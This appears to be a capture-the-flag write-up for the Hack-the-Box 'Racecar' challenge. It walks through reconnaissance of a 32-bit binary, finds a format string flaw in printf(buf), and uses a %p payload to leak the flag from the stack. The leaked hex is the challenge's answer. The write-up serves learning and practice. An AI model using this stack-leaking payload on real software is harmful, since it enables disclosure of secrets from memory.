Racecar

Racecar

Hack-the-Box PWN Challenge Writeup

·

6 min read

This challenge was rated easy. The zip containing the binary running on the server should be downloaded. I should have paid attention, that they gave you the password, instead of trying to crack it with John-the-Ripper.

Analyze the Binary

Do some high-level reconnaissance of the binary. Use file to get some details on the binary.

❯ file ./racecar
./racecar: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

You can also use checksec:

❯ checksec --file=racecar
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols              FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   96 Symbols     Yes   0               3       racecar

See all the details of the binary:

❯ readelf -a ./racecar

The output

You can see additional details with objdump:

❯ objdump -a ./racecar

We can find what compiler was used to create this binary:

❯ objdump -s --section .comment ./racecar
./racecar:     file format elf32-i386
Contents of section .comment:
 0000 4743433a 20285562 756e7475 20372e35  GCC: (Ubuntu 7.5
 0010 2e302d33 7562756e 7475317e 31382e30  .0-3ubuntu1~18.0
 0020 34292037 2e352e30 00                 4) 7.5.0.

❯ readelf -p .comment ./racecar
String dump of section '.comment':
  [     0]  GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

If this binary has links to other binaries/libraries, use ltrace to see these calls. If the binary made system calls use strace to see these. Sometimes it is also helpful to search for particular strings using strings:

❯ strings -a ./racecar | grep flag
flag.txt
%s[-] Could not open flagt.txt.  Please contact the creator.

Search for Vulnerability

Using a decompiler/disassembler like Ghidra (free, thanks NSA) or Hex-Rays to see the reversed C/C++ code is useful. However, if you can't install apps in your current environment, you can use https://dogbolt.org/. If you want to see what C/C++ code looks like as assembly with different compilers, try https://godbolt.org/.

Fun Fact: You can use Links2 or iw3 as web browsers in a terminal.

There doesn't seem to be anything malicious here, get familiar by running the code. Looking through the code, you can see that the winning scenarios are:

  1. Choose car 1 and Circuit

  2. Choose car 2 and Highway battle.

If you win, you can type in a winning message. Nothing stands out originally, but thinking of what we can do in the program, we can narrow our search to the part of the code where we have the most input:

void info(void)
{
  int iVar1;
  char *__s;
  char *__s_00;
  size_t sVar2;
  int in_GS_OFFSET;

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  __s = (char *)malloc(0x20);
  __s_00 = (char *)malloc(0x20);
  printf("\n%sInsert your data:\n\n",&DAT_00011538);
  printf("Name: ");
  read(0,__s,0x1f);
  sVar2 = strlen(__s);
  __s[sVar2 - 1] = '\0';
  printf("Nickname: ");
  read(0,__s_00,0x1f);
  sVar2 = strlen(__s_00);
  __s_00[sVar2 - 1] = '\0';
  printf("\n%s[+] Welcome [%s%s%s]!\n\n%s[*] Your name is [%s%s%s] but everybody calls you.. [%s%s%s]!"
         ,&DAT_00011540,&DAT_00011530,__s,&DAT_00011540,&DAT_00011538,&DAT_00011530,__s,
         &DAT_00011538,&DAT_00011530,__s_00,&DAT_00011538);
  printf("\n[*] Current coins: [%d]\n",coins);
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

There isn't much here and when you test various inputs illustrates this.

This section however is more interesting:
Do you have anything to say to the press after your big victory?

  if ( v7 == 1 && (result = v4, v4 < v5) || v7 == 2 && (result = v4, v4 > v5) )
  {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
    coins += 100;
    printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
    buf = malloc(0x171u);
    stream = fopen("flag.txt", "r");
    if ( !stream )
    {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
      exit(105);
    }
    fgets(v11, 44, stream);
    read(0, buf, 0x170u);
    puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
    return printf((const char *)buf);
  }
  else if ( v7 == 1 && (result = v4, v4 > v5) || v7 == 2 && (result = v4, v4 < v5) )
  {
    printf("%s\n\n[-] You lost the race and all your coins!\n", "\x1B[1;31m");
    coins = 0;
    return printf("[+] Current coins: [%d]%s\n", 0, "\x1B[1;36m");
  }
  return result;
}

The lines that stand out are the printf of direct user input and the flag.txt.

Hex-Rays:

return printf((const char *)buf);

Angr:

v10 = malloc(v1);
...
printf(v10);

Ghidra

printf(__format);

It helps to compare the output from the different decompilers. We can take advantage of this string format vulnerability.

Exploit

We can use the %x to test for the vulnerability. We expect that a hexadecimal value printed:

[!] Do you have anything to say to the press after your big victory?
> %x
The Man, the Myth, the Legend! The grand winner of the race wants the whole 
world to know this:
2A

Cool, we can use the %p to print the pointer values in full hexadecimal format.

[!] Do you have anything to say to the press after your big victory?
> %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

The Man, the Myth, the Legend! The grand winner of the race wants the whole 
world to know this: 
0x580901c0 0x170 0x565c1d85 0x1 0x62 0x26 0x1 0x2 0x565c296c 0x580901c0 
0x58090340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 
0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 
0x82ca9e00 0xf7f553fc

We take advantage of how the variables/data are stored in the call stack with GCC. We could analyze how many %p to progress up the stack. Since we don't know how large the flag value is since it's read from a file and not stored in the source, we start with an arbitrary number of values to pop off the stack.

If you run the binary locally, you won't have a flag.txt, so create one and put dummy values to see how to decode it. I already had one from a previous CTF.

./flag_decoder.py "0x580901c0 0x170 0x565c1d85 0x1 0x62 0x26 0x1 0x2 0x565c296c 0x580901c0 0x58090340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0x82ca9e00 0xf7f553fc"

Get the Flag

Once you have the flag, you'll have to use netcat or nc to connect to the specified target server so you can get the actual flag.

netcat <target_ip> <target_port>

Fun stuff! If we needed to brute-force a binary in the future, something like pwntools would be useful, instead of writing your own subprocess calls.

References